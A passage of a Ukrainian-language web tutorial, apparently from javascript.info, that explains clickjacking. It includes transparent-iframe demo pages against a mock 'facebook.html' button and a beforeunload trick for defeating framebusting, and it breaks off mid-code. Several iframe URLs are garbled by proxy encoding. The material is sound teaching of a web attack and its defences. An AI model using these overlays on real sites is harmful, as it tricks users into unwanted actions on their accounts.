Атака типу “clickjacking” (англ. “захоплення кліка”) дозволяє шкідливій сторінці натиснути посилання на “сайт-жертви” від імені відвідувача.
Багато сайтів були зламані подібним способом, включаючи Twitter, Facebook, Paypal та інші. Усі вони, звісно ж, зараз захищені.
Ідея
Ідея дуже проста.
Ось як clickjacking було зроблено на Facebook:
- Відвідувача заманюють на шкідливу сторінку. Не важливо як.
- На сторінці є нешкідливе посилання (наприклад, “розбагатіти зараз” або “натисніть тут, дуже смішно”).
- Над цим посиланням шкідлива сторінка розміщує прозорий
<iframe>зsrcз facebook.com таким чином, що кнопка “Подобається” знаходиться прямо над цим посиланням. Зазвичай це робиться за допомогоюz-index. - Намагаючись натиснути посилання, відвідувач фактично натискає кнопку.
Демо
Ось як виглядає шкідлива сторінка. Щоб було зрозуміло, <iframe> є напівпрозорим (на справжніх шкідливих сторінках він повністю прозорий):
<style>
iframe { /* iframe із сайту жертви */
width: 400px;
height: 100px;
position: absolute;
top:0; left:-20px;
opacity: 0.5; /* насправді opacity:0 */
z-index: 1;
}
</style>
<div>Натисніть, щоб розбагатіти зараз:</div>
<!-- URL-адреса з сайту-жертви -->
<iframe src="/?originalUrl=https%3A%2F%2Fuk.javascript.info%2F%26quot%3B%2Fclickjacking%2Ffacebook.html%26quot%3B%26gt%3B%26lt%3B%2Fiframe%26gt%3B%26lt%3Bbutton%26gt%3B%25D0%259D%25D0%25B0%25D1%2582%25D0%25B8%25D1%2581%25D0%25BD%25D1%2596%25D1%2582%25D1%258C!%26lt%3B%2Fbutton%26gt%3B%26lt%3Bdiv%26gt%3B...%25D0%2586%2520%25D1%2582%25D0%25B8%2520%25D0%25BA%25D1%2580%25D1%2583%25D1%2582%25D0%25B8%25D0%25B9%2520(%25D0%25BD%25D0%25B0%25D1%2581%25D0%25BF%25D1%2580%25D0%25B0%25D0%25B2%25D0%25B4%25D1%2596%2520%25D1%258F%2520%25D0%25BA%25D1%2580%25D1%2583%25D1%2582%25D0%25B8%25D0%25B9%2520%25D1%2585%25D0%25B0%25D0%25BA%25D0%25B5%25D1%2580)!%26lt%3B%2Fdiv%26gt%3B%253C%2Fcode">
Повна демонстрація атаки:
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Лайк натиснуто на facebook.html!')" value="I LIKE IT !">
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0.5;
z-index: 1;
}
</style>
<div>Натисніть, щоб розбагатіти:</div>
<!-- URL-адреса з сайту-жертви -->
<iframe src="/?originalUrl=https%3A%2F%2Fuk.javascript.info%2F%26quot%3Bfacebook.html%26quot%3B%26gt%3B%26lt%3B%2Fiframe%26gt%3B%2520%2520%26lt%3Bbutton%26gt%3B%25D0%259D%25D0%25B0%25D1%2582%25D0%25B8%25D1%2581%25D0%25BD%25D1%2596%25D1%2582%25D1%258C%2520%25D1%2582%25D1%2583%25D1%2582!%26lt%3B%2Fbutton%26gt%3B%2520%2520%26lt%3Bdiv%26gt%3B...%25D0%2586%2520%25D1%2582%25D0%25B8%2520%25D0%25BA%25D1%2580%25D1%2583%25D1%2582%25D0%25B8%25D0%25B9%2520(%25D0%25BD%25D0%25B0%25D1%2581%25D0%25BF%25D1%2580%25D0%25B0%25D0%25B2%25D0%25B4%25D1%2596%2520%25D1%258F%2520%25D0%25BA%25D1%2580%25D1%2583%25D1%2582%25D0%25B8%25D0%25B9%2520%25D1%2585%25D0%25B0%25D0%25BA%25D0%25B5%25D1%2580)!%26lt%3B%2Fdiv%26gt%3B%26lt%3B%2Fbody%26gt%3B%26lt%3B%2Fhtml%26gt%3B%253C%2Fcode">Тут ми маємо напівпрозорий <iframe src="/?originalUrl=https%3A%2F%2Fuk.javascript.info%2F%26quot%3Bfacebook.html%26quot%3B%26gt%3B%253C%2Fcode">, і в прикладі ми бачимо його над кнопкою. Натискаючи кнопку користувач фактично натискає на iframe, але не бачить його, оскільки iframe прозорий.
Як наслідок, якщо відвідувач авторизований у Facebook (як правило, “запам’ятати мене” включено), він додає “подобається”. У Twitter це була б кнопка “Підписатися”.
Ось той самий приклад, але ближчий до реальності, з opacity:0 для <iframe>:
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Лайк натиснуто на facebook.html!')" value="I LIKE IT !">
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0;
z-index: 1;
}
</style>
<div>Натисніть, щоб розбагатіти:</div>
<!-- URL-адреса з сайту-жертви -->
<iframe src="/?originalUrl=https%3A%2F%2Fuk.javascript.info%2F%26quot%3Bfacebook.html%26quot%3B%26gt%3B%26lt%3B%2Fiframe%26gt%3B%2520%2520%26lt%3Bbutton%26gt%3B%25D0%259D%25D0%25B0%25D1%2582%25D0%25B8%25D1%2581%25D0%25BD%25D1%2596%25D1%2582%25D1%258C%2520%25D1%2582%25D1%2583%25D1%2582!%26lt%3B%2Fbutton%26gt%3B%2520%2520%26lt%3Bdiv%26gt%3B...%25D0%2586%2520%25D1%2582%25D0%25B8%2520%25D0%25BA%25D1%2580%25D1%2583%25D1%2582%25D0%25B8%25D0%25B9%2520(%25D0%25BD%25D0%25B0%25D1%2581%25D0%25BF%25D1%2580%25D0%25B0%25D0%25B2%25D0%25B4%25D1%2596%2520%25D1%258F%2520%25D0%25BA%25D1%2580%25D1%2583%25D1%2582%25D0%25B8%25D0%25B9%2520%25D1%2585%25D0%25B0%25D0%25BA%25D0%25B5%25D1%2580)!%26lt%3B%2Fdiv%26gt%3B%26lt%3B%2Fbody%26gt%3B%26lt%3B%2Fhtml%26gt%3B%253C%2Fcode">Все, що нам потрібно для атаки – це розташувати <iframe> на шкідливій сторінці таким чином, щоб кнопка знаходилась прямо над посиланням. Таким чином, коли користувач натискає посилання, він фактично натискає кнопку. Зазвичай це можна зробити за допомогою CSS.
Атака впливає лише на дії миші (або подібні, як-от натискання на мобільному пристрої).
Введення з клавіатури дуже важко переспрямувати. Технічно, якщо у нас є текстове поле для зламу, ми можемо розташувати iframe таким чином, щоб текстові поля перекривали одне одного. Тому, коли відвідувач намагається сфокосуватися на текстовому полі, яке він бачить на сторінці, він фактично фокусується на полі всередині iframe.
Але тоді виникає проблема. Усе, що введе відвідувач, буде приховано, оскільки iframe не видно.
Люди зазвичай припиняють вводити текст, коли не бачать, як на екрані друкуються нові символи.
Приклади слабкого захисту
Найстаріший спосіб захисту – це код JavaScript, який забороняє відкривати сторінку у фреймі (так званий “framebusting”).
Це виглядає так:
if (top != window) {
top.location = window.location;
}
Тобто: якщо вікно дізнається, що воно не зверху, то воно автоматично стає верхнім.
Це не надійніший засіб захисту, тому що є багато способів зламати його. Давайте розглянемо декілька.
Блокування top-навігації
Ми можемо заблокувати перехід, викликаний зміною top.location в обробнику події beforeunload.
Зовнішня сторінка (що належить хакеру) встановлює обробник події для запобігання, наприклад:
window.onbeforeunload = function() {
return false;
};
Коли iframe намагається змінити top.location, відвідувач отримує повідомлення із запитом, чи хоче він піти.
У більшості випадків відвідувач відповість негативно, тому що він не знає про iframe – все, що він бачить, це верхня сторінка, немає причин залишати її. Тож top.location не зміниться!
В дії:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div>Змінює top.location на javascript.info</div>
<script>
top.location = 'https://javascript.info';
</script>
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0;
z-index: 1;
}
</style>
<script>
function attack() {
window.onbeforeunload = function() {
window.onbeforeunload = null;
return "Хочете піти, не дізнавшись усіх секретів (хе-хе)?"